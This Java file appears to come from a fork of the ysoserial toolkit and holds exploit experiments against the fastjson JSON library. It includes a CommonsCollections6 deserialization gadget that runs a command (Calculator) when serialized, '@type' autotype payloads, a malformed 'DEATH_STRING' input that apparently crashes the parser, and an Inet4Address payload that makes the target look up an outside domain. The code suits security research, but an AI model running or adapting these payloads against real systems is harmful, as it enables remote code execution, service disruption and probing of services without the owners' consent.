package ysoserial.exploit.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.omg.Messaging.SYNC_WITH_TRANSPORT;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.CommonsCollections6;

import java.io.Serializable;
import java.net.URLDecoder;
import java.util.Base64;

/**
 * @ClassName: FastJsonTest
 * @Description: ToDo
 * @Author: angelwhu
 * @Create: 2019/05/11 17:12
 **/
public class FastJsonTest {

    public static void main1() throws Exception {
        CommonsCollections6 payload = new CommonsCollections6();
        Object serializable = payload.getObjectExec("/Applications/Calculator.app/Contents/MacOS/Calculator");

//        CommonsCollections1 payload = new CommonsCollections1();
//        Object serializable = payload.getObject("/Applications/Calculator.app/Contents/MacOS/Calculator");

//        byte[] bytes = Serializer.serialize(serializable);
//
        String fastjsonString = JSON.toJSONString(serializable); //这步骤会弹计算器，神奇～ 有遍历Map的操作，就弹了。序列化方法不一样。 @angelwhu
//        System.out.println(fastjsonString);
//
//        JSON.parseObject(fastjsonString);
    }

    public static void main2() throws Exception {
//        User user = new User();
//        user.setName("angelwhu");
//        user.setAge(12);
//
//        System.out.println(JSON.toJSONString(user));

        //String jsonString = "{\"@type\":\"ysoserial.exploit.fastjson.User\",\"age\":12,\"name\":\"angelwhu\"}";
        String jsonString = "{\"@type\":\"ysoserial.exploit.fastjson.User\",\"name\":\"angelwhu\"}";
        User object = JSON.parseObject(jsonString, User.class);
        System.out.println(object);
        /**
         * 调用construct user()
         * setAge()
         * setName()
         */
        JSON.parseObject(jsonString);

//        Object object = JSON.parseObject(jsonString);
//        System.out.println(object);
        /**
         * 调用:construct user()
         * setAge()
         * setName()
         * getAge()
         * getName()
         *
         */
    }

    public static void main3() throws Exception{
        String DEATH_STRING = "{\"a\":\"\\x";
        String line = new String("[{\\x22a\\x22:\\x22a\\xB1ph.\\xCD\\x86\\xBEI\\xBA\\xC3\\xBCiM+\\xCE\\xCE\\x1E\\xDF7\\x1E\\xD9z\\xD9Q\\x8A}\\xD4\\xB2\\xD5\\xA0y\\x98\\x08@\\xE1!\\xA8\\xEF^\\x0D\\x7F\\xECX!\\xFF\\x06IP\\xEC\\x9F[\\x85;\\x02\\x817R\\x87\\xFB\\x1Ch\\xCB\\xC7\\xC6\\x06\\x8F\\xE2Z\\xDA^J\\xEB\\xBCF\\xA6\\xE6\\xF4\\xF7\\xC1\\xE3\\xA4T\\x89\\xC6\\xB2\\x5Cx]");
        try{
            JSON.parse("{\"val\":\"\\x~");
        }catch (Exception e){
            e.printStackTrace();
        }

        line = line.replaceAll("\\\\x", "%");
        System.out.println(line);

        String decodeLog = URLDecoder.decode(line, "UTF-8");
        System.out.println(decodeLog);

        System.out.println(Base64.getEncoder().encodeToString(decodeLog.getBytes()));

        Object obj = JSON.parse(decodeLog);
        obj = JSON.parse(DEATH_STRING);
    }

    public static void main4() throws Exception{
        // https://github.com/alibaba/fastjson/issues/3077
        // 不能发URL请求，只能请求dns～
        // String payload4 = "{{\"@type\":\"java.net.URL\",\"val\":\"http://p-f72f96-xltp.d3rw1n.fun/\"}:0}"; //这个不行啊
        // {{"@type":"java.net.URL","val":"http://39.106.143.48:8283/p/160565/QqVz/"}:0}
        //{"@type":"java.net.Inet4Address","val":"p-f72f96-xltp.d3rw1n.fun"}
        String payload4 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"p-f72f96-xltp.d3rw1n.fun\"}";
        Object object = JSONObject.parseObject(payload4);
    }

    public static void main(String[] args) throws Exception {
        main4();
    }
}
